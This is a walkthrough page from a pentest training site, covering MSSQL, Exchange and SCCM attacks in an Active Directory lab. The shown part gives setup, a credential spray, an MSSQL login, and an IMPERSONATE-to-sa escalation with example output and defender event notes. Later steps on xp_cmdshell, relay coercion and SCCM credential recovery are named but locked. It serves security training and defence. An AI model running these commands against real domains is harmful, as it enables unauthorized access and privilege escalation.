Practice library / Active Directory and Windows attacks
Lab · Hard · 2.5 hoursFree account
MSSQL, Exchange & SCCM Attacks
Walk three AD-joined platforms: MSSQL linked servers and command execution, the Exchange WriteDacl path, and SCCM site and NAA abuse.
On this page 15 sections
- ·Overview
- ·Prerequisites
- ·Lab setup
- ·Build the target
- 1Authenticate to MSSQL with the domain credential
- 2Read your privileges and test impersonation
- Locked: Abuse the linked server to reach SQL02
- Locked: Get command execution with xp_cmdshell
- Locked: Coerce MSSQL authentication for a relay
- Locked: Locate the SCCM site server
- Locked: Understand Network Access Account recovery
- Locked: Map the Exchange-to-AD escalation
- Locked: Check
- Locked: Clean-up
- Locked: Command reference
MSSQL, Exchange and SCCM each run as a privileged account inside Active Directory, so one weak link on any of the three becomes a path to domain compromise. Linked-server abuse, Exchange WriteDacl and SCCM Network Access Account recovery show up in most internal pentests and in public incident reports for the same reason: the platform's own features. Here you walk all three from a single plain-user foothold.
Lab Objectives
- Authenticate to MSSQL with a domain credential and read its privileges
- Abuse an MSSQL linked server and
xp_cmdshellto run queries and commands on more instances - Coerce MSSQL authentication to feed an NTLM relay
- Locate the SCCM site server and explain Network Access Account recovery
- Map the Exchange group that holds
WriteDaclon the domain object - Match each technique to the Windows events a defender sees
Overview
MSSQL, Exchange and SCCM sit on domain-joined servers and run as privileged accounts. Each one widens the attack surface of Active Directory, not only its own data. This lab reads all three from a single plain-user foothold. It abuses MSSQL in full, because a database engine runs code. It stops at enumeration for the Exchange and SCCM escalations, because the abuse itself is an NTLM relay, and relay has its own lab. Every step names what a defender would see.
Prerequisites
- Finish Active Directory Basics first. This lab assumes you know a Domain Controller, a service account and an SPN (Service Principal Name).
- AD Enumeration with BloodHound teaches you to find these high-value servers in the graph before you touch them.
- NTLM Relay Attacks is the other half of Steps 5 and 8. This lab coerces the authentication; that lab relays it to a target.
- Windows Command Line & PowerShell helps you read the PowerShell in the SCCM and Exchange steps.
Lab setup
| Item | Purpose |
|---|---|
impacket (impacket-mssqlclient, impacket-ntlmrelayx) | Logs in to MSSQL and runs the relay listener |
crackmapexec | Sprays and confirms a credential against the MSSQL service |
sccmhunter | Finds the SCCM site server and site code over LDAP |
SharpSCCM | Reads SCCM client policy and the Network Access Account on a client host |
powerview (PowerShell) | Reads the ACL on the domain object for the Exchange path |
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a domain that you build. The names and 10.0.0.x addresses below are the example addresses of this lab. Replace them with the addresses of your own domain.
Your lab domain must have these hosts:
| Host | IP | Role |
|---|---|---|
DC01 | 10.0.0.10 | Domain Controller of CORP.LOCAL |
SQL01 | 10.0.0.30 | MSSQL, with a linked server to SQL02 |
SQL02 | 10.0.0.31 | Second MSSQL instance, reached only through the link |
EXCH01 | 10.0.0.40 | Exchange server |
MECM01 | 10.0.0.50 | SCCM (MECM) primary site server, site code PS1 |
Your own Kali machine is 10.0.0.100. A virtual machine is fine. The domain must also have these parts:
- The foothold account
j.doe@CORP.LOCALwith the passwordStr0ngPass!99: a plain domain user. Use your own password and put it in the commands. SQL01runs MSSQL as the service accountCORP\svc_mssql, accepts Windows logins, and letsj.doeconnect with theguestrole onmaster.SQL01can open an SMB connection to your Kali machine.- On
SQL01,j.doeholds anIMPERSONATEgrant onsa.xp_cmdshellis disabled (Step 4 enables it). - On
SQL01, a linked serverSQL02runs every query assaonSQL02. MECM01publishes its sitePS1to Active Directory, so theSystem Managementcontainer holds the SCCM records (Step 6).- An SCCM-managed client host where you have local admin, and an SCCM Network Access Account
CORP\svc_sccm_naathat the site pushes to its clients (Step 7). - Exchange installed in the domain with the default permissions, so the group
Exchange Windows PermissionsholdsWriteDaclonDC=corp,DC=local(Step 8). The SID in the output is only an example; your domain has its own.
Build such a domain from free, legal parts. Install an evaluation copy of Windows Server from the Microsoft Evaluation Center (180 days) in virtual machines on your own computer, and add SQL Server, Exchange and SCCM evaluation copies on the right hosts. Take a snapshot of each virtual machine before Step 1, so you can go back.
Authorized-lab only. Run every command in this lab only against a domain that you own or have written permission to test, here the 10.0.0.0/8 hosts above, and nowhere else. MSSQL command execution, authentication coercion and SCCM credential recovery are unauthorized access against any system you do not own or hold written permission to test.
Step 1: Authenticate to MSSQL with the domain credential
Confirm the credential against the MSSQL service, then open a session
Spray the foothold credential at the MSSQL service on SQL01 to confirm it logs in. Then open an interactive session with impacket-mssqlclient using Windows authentication.
crackmapexec mssql 10.0.0.30 -u j.doe -p 'Str0ngPass!99' -d corp.localExample output:
MSSQL 10.0.0.30 1433 SQL01 [*] Windows Server 2022 (name:SQL01) (domain:corp.local)
MSSQL 10.0.0.30 1433 SQL01 [+] corp.local\j.doe:Str0ngPass!99The [+] line confirms the account authenticates to the database engine. Open a session.
impacket-mssqlclient 'corp.local/j.doe:Str0ngPass!99@10.0.0.30' -windows-authExample output:
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
SQL (CORP\j.doe guest@master)>The prompt names your login (CORP\j.doe) and your role on this database (guest). A domain user with guest is the normal starting point. Why it matters: an MSSQL login mapped to a domain account means every domain user is a potential database user, with no SQL password to crack.
What a defender would see. The login is Event ID 18453 in the SQL error log, a successful login for CORP\j.doe. One domain user that never queried this server before, now connected from 10.0.0.100, is the first weak signal. Enable SQL Server login auditing for both success and failure to capture it.
Step 2: Read your privileges and test impersonation
List who you can impersonate, then switch to that login
Ask MSSQL which logins your account is allowed to impersonate. A misconfigured IMPERSONATE grant lets a low-privilege login run as a high-privilege one. Switch to any login the server offers.
SQL (CORP\j.doe guest@master)> enum_impersonateExample output:
execute_as database permission_name state_desc grantee grantor
----------------- -------- --------------- ---------- -------------- --------
LOGIN master IMPERSONATE GRANT CORP\j.doe saThe row shows j.doe can impersonate sa, the database super-user, at the server level. Switch to it.
SQL (CORP\j.doe guest@master)> exec_as_login sa
SQL (sa dbo@master)> SELECT SYSTEM_USER;Example output:
-------
sa
SQL (sa dbo@master)>The prompt now reads sa, and SELECT SYSTEM_USER confirms it. You moved from guest to full control of the instance without a new credential. Why it matters: IMPERSONATE is granted for one narrow application task, then forgotten, and it hands an attacker sysadmin.
What a defender would see. The EXECUTE AS is visible in a SQL Server audit when you audit IMPERSONATE and SERVER_PRINCIPAL_IMPERSONATION events. Defence: audit IMPERSONATE grants on every instance. Remove any grant that targets sa or a sysadmin login.
Sign in to continue
9 more sections are for signed-in members. It is free: sign in with Google.